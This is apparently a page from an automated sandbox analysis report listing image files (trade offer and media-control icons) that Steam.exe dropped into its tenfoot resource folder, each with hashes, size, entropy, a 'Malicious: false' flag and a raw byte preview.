MD5:	A475D726223C018DA8CA06E1690F0FA6
SHA1:	3D64450C6AF2182D39CD49B07BDE49D10FE2F274
SHA-256:	171B554989BB328FE1C77D9263241F024DDB33FE3B1F1137163D1FD75ABA5C38
SHA-512:	2C3A2C6AC6CD6A20CF37B238DBEEB2B008856EF3BF41FCDCC022F8EBE25BE2CDE2A9EE76A49B797320E62F9532393DACC9170CA4613047A97A7B5F31DB6CC547
Malicious:	false
Reputation:	unknown
Preview:	............3.3. ............................................................................ ...R...............................................R... ...........................................................................................................................................d...........................{...o...j...o...{...........................d.......................................................................................................................+...................x...[...S...N...L...J...J...I...I...J...L...O...S...[...x...................+.......................................................................................................t...............[...P...J...H...G...F...E...D...E...D...D...D...E...E...G...H...J...P...[...............t...........................................................................................G...............X...M...H...F...E...D...C...B...A...A...@...@...@...@...A...A...B...D...E...G...I...M...X...............G..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\trade_offer.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	6.982350824367757
Encrypted:	false
SSDEEP:
MD5:	2445C45BB907A1754960539362A737CB
SHA1:	AB0B034975AB8546626BB068F5661F27FD369DAA
SHA-256:	BB6259D96BAE4AC4A1D0C4C7B5914199CD232C310BE7208115C2BFC3BDAE0795
SHA-512:	59A9F6ECA077BC59EB3D1A6AE2350AEE5AFC47F789518A3C0F7FD382B29565D58A10D640204857833B7417D9976EB89472929E8BC0EEC323F1624E160563E816
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:53E69746141811E38081BC14CD1FB399" xmpMM:DocumentID="xmp.did:53E69747141811E38081BC14CD1FB399"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53E69744141811E38081BC14CD1FB399" stRef:documentID="xmp.did:53E69745141811E38081BC14CD1FB399"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>/.......IDATx..J.@.....`..U,l...\|.46.. ........*....+.8DH..9.H.....I...d....qs..w...e.eY.......>.[..@...#h.J@.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\Icon_VolumeBars.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 183 x 37 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	27128
Entropy (8bit):	0.9734564491973063
Encrypted:	false
SSDEEP:
MD5:	587B59802C3436D54F3FF859E6018CCE
SHA1:	61593B17303AC16AA9FCAE4CA649ACBE19EF9AF9
SHA-256:	1D7C416488FB79272B134F17D9A69F2F2DD778CDA4943FF3235095FCFB763F30
SHA-512:	4F85D62EB6C5DE255FE83C413201447C7736CB468DD288BBC922500B1681492E108BB4A0397C665AC84DF78487CCC0FD4313F6122996653EF46CD35610C9C345
Malicious:	false
Reputation:	unknown
Preview:	..............%. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\Icon_ffwd.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3206
Entropy (8bit):	7.896109473017171
Encrypted:	false
SSDEEP:
MD5:	A77D119B7FBAC61203101A9AD7B66AC6
SHA1:	8BD16EBA2A6356615B4AE0FFF12C50D654E3A9AD
SHA-256:	A9214199C066541F2440495ECC2F75D7AAE537D0A7489CCFFF088546B38909B6
SHA-512:	D0D2131A599E49ED8A0011065F920CE9EF4036881758C3458B6DDA79A60C62A1765A8956387A2017D41957992882DD185473CE07BC4BD1D059774D99361DF15A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_fullscreen.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2934
Entropy (8bit):	7.871395547160374
Encrypted:	false
SSDEEP:
MD5:	F7C1D48AB42E87CDB12101E1A4E3B1C6
SHA1:	3F07A895C259F2BB12997A9D9E08A5CCBC3CFA4E
SHA-256:	C0BF5785A8B197A6E1D9E550595A5A821D45592FA2AE70163204FA9D8382372E
SHA-512:	C8362738D5F5ABC4F31253A6D41863FDA02E0770F4E736F0F7899026C2EBF7E4C049E1B7ADC4B269786ACD48F5C8E46A14D14380F0E061C971A4C0800DFCC0C0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_jump_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3818
Entropy (8bit):	7.903039998828669
Encrypted:	false
SSDEEP:
MD5:	7EFA02AE81F49D1960BC4A1AD6BAE7B2
SHA1:	AA8B909E41FB556184F4E585B705D13EF153E3CD
SHA-256:	A9948465B32E2287457234E2F867E48537465EFB189E7395DD8B1CD39CB8D86E
SHA-512:	7CF938C170B27827DB81A4467BA0C1571E11189844EBCFB3EC1DB45F6B74B4D5AFF5B71C98488D90E7DCFB1CE52E277FD07BECDB0DAC9D2BD9A9004E9671C794
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_nexttrack.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3197
Entropy (8bit):	7.890362104564719
Encrypted:	false
SSDEEP:
MD5:	EE39D1A7E2E3C7B1EF1813D4E183F6AB
SHA1:	21259A4CAB5A04DFF4B93C10B2D4B62371C3ACBB
SHA-256:	D011AFA5E8CBAAC4B4F17FAF6EF0B5E0D8BE0AAC15376BDCB3B3B29D85DEBDE8
SHA-512:	AA709B554C207D7499F94124268A7150CBBAF0E63634C8194C68AB65B712CA974CEEE50025B2539C4BCA954C5D422FEE425BD6B0F1F3D2F08EF3F4D51DAEC2E6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_pause.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	7.868112977717063
Encrypted:	false
SSDEEP:
MD5:	A5AC660ED2029680B811CB6363AF2673
SHA1:	A420894F5F4E23A7DAFDE500832751D921E76AB4
SHA-256:	9D569F0FF270F7EF3654F45E16CD9967DBC2FF4A63341A945CC304805F90368D
SHA-512:	711FA681A12044609BCD4C32DCA250496420CB7F27F35E26CB0361A08F112AC08ABEDDE19BC2E4ACDA89CD9A4E1628B1F4CA8260867EDB553B18E7F1DB54233D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_play.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3175
Entropy (8bit):	7.890175274840852
Encrypted:	false
SSDEEP:
MD5:	1F00E9E0DEA4A8D5AD2543BFDC0023EC
SHA1:	5028ACCB038F7B5A5351697236297427BF986B69
SHA-256:	A4D3BBDB2F2CB9E6053B2BF5310D08F97BEE9F11335AC06BF5F4146D382407B1
SHA-512:	BB2E2E3ABA41372F63A43FBBD6E7243A0F83D783AA6225F3D8CC8A621FAE42BBA4A698A57BEAF63776D0130A0A7BD911E0C056B9033BC35352816CF3E37BFD85
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_previoustrack.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3216
Entropy (8bit):	7.889894639476356
Encrypted:	false
SSDEEP:
MD5:	6EB1847B9278C1A56B27108C58A2BFEC
SHA1:	51AFE479BEEA9BD6A580A320F0BB2587E97D09DE
SHA-256:	BADFADF0A4F302E279EA6D894615E718FFF975D769E48603FC7A97865F301C10
SHA-512:	87897B4E3C6006F8E7BAC51106BAF4468F82457186F33270C0AFDEBD6A65D5035006526CB29EEA09329620D60C73B05D835D6D736DB6470E61F8ACAD4FFB0D77
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_quality.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1653
Entropy (8bit):	7.142967294526426
Encrypted:	false
SSDEEP:
MD5:	24FC1BC3D7577582BA3DD60FA7C4DB29
SHA1:	ECFB502100154F9C85912C9AC488E8B4F82C4A81
SHA-256:	D7FFFC1DE0214F3FFBDE38730FE285204C9718946531819630671F46AD1D783E
SHA-512:	C7C539E7FFEAF34B56A39ABAF088761DCAA3867CE7B2F0247A07178632CD1779814821AF93457F89000717EB97655059667C43C6F42AC64C51E53014789F94E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:18D38AD18CA5E3119571BAEAE2984549" xmpMM:DocumentID="xmp.did:6AE313E7190A11E49924E0EBDBE9BFC6" xmpMM:InstanceID="xmp.iid:6AE313E6190A11E49924E0EBDBE9BFC6" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:18D38AD18CA5E3119571BAEAE2984549" stRef:documentID="xmp.did:18D38AD18CA5E3119571BAEAE2984549"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>3.......IDATx.._d\A..].e).D.kB.<.%,!,!.S(...V.*.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_rwd.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3218
Entropy (8bit):	7.891299407302814
Encrypted:	false
SSDEEP:
MD5:	F50B01208CCFDF197CB142A24C34F86F
SHA1:	2108799DBBED32B00225E375A5D499A08F314D6A
SHA-256:	8AA1F9826E43882455C4AF4F520FAC6370D86709F9F76F6CB85EBC97791A92C8
SHA-512:	DB6A02C50ECBBB8CE108EDFD85BD72E543D1FAB7D338E26D23A86FE2F2B8F515F76FBAF584211EFC21510E29BCD21A486114533E766F7C825F9D7DEFBD38D580
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_speaker.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3671
Entropy (8bit):	7.900971533312293
Encrypted:	false
SSDEEP:
MD5:	C1D63BE5FB2216FAA7A8560B48B7AF6D
SHA1:	B39B38B73479E20841DF55443833F690B40D010C
SHA-256:	A6891B622C56832710BCFBAB815C629C9E20435CB0FF44BEE0C7388A9E20D763
SHA-512:	E0E287240A20DFDADBFE236DC81BEE6F3872C9B9AA4AC77AAD3E2187A36D1C3AF8C27775C5DF1AD354F0F6F69119AC6FE592082EED70646CD58356CF646AD17B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_stop.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2887
Entropy (8bit):	7.871861741080285
Encrypted:	false
SSDEEP:
MD5:	F3672A49576BA0BA5811C944E23BC11E
SHA1:	009C755A7D01CF6EEC8DDF79588D026148F28023
SHA-256:	E5589FBE464C5F90E82C30238C2F5E2CD4B0E2683A878175E30561B74061D44C
SHA-512:	BD654DF9ACC88AA6B9308C44406F92EDCD128EDFBDADA062C3D3E7A5D7AE93A372A5249DBA9750FECE43C6B444166F683700218C4F85C16D3F558A4753E1CE38
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_volume_00.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1169
Entropy (8bit):	6.571784477050023
Encrypted:	false
SSDEEP:
MD5:	02B0AD06A32D387074AAC4EAE8741AC4
SHA1:	62C8FFB4CFCE29EE7B10E79CF9AC2C13372107C6
SHA-256:	15DDAEBC0CE132846FF8375E1983CB01235F36888E9E9CA5D2EE1C96CA7A8302
SHA-512:	ED60B8EA0845B90E41D7A0754EC88FB07340B8B7B42F23CEA23B9736452300DBE0E63659CFE1FFFCCE73861AF07C45C058765D92AD1BE184D42F947DF3129247
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...%...%...... .....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:C8578C31A58C11E3A3B4D6AE6C6B71BB" xmpMM:DocumentID="xmp.did:C8578C32A58C11E3A3B4D6AE6C6B71BB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C8578C2FA58C11E3A3B4D6AE6C6B71BB" stRef:documentID="xmp.did:C8578C30A58C11E3A3B4D6AE6C6B71BB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Q,.$....IDATx.b...?.`.L....P.W....../...@.G.N......Ls.br......1....@.). ^...O..R.L./...M.....ASN.A...@.S.@...BP>?.s...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\transport_controls\icon_volume_01.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1520
Entropy (8bit):	6.984329288418023
Encrypted:	false
SSDEEP:
MD5:	D5ACD0E41B632F49D7290BEE971F3CAD
SHA1:	513997C0E1B7A8127B83DF79FE0F3046991F40FA
SHA-256:	22AD790337B01CEB9FE7A3D61ADE7EBB0F0B4203680C87472887F15C22327798
SHA-512:	102A5202EF3AEF03E0C93747FE8DF174B255C6961F5065F81F0937D137E09CF62DB24ABC73CD1DCEE2BCF0ADB03300F8216BABD875F051BB9BBAC74ACD10A1E5
Malicious:	false
Reputation:	unknown
